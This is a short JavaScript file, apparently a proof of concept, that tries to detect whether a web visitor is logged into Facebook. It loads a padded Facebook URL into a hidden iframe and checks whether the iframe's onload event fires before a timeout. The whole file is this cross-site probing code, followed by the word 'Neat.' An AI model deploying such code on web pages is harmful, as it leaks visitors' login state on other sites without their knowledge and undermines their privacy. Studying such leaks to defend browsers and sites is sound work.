fb.js

var a='';
for(var i=0;i<50000;i++){a+='=';}

var wait = setTimeout(function(){
  alert('Logged in fb')
},15000)

var cb=function(){
  clearTimeout(wait);
  alert('Not logged in fb');
}

a='https://www.facebook.com/messages/new?'+a;
console.log(a.length);
document.write('<iframe onload="cb()" src="'+a+'"></iframe>')

Neat.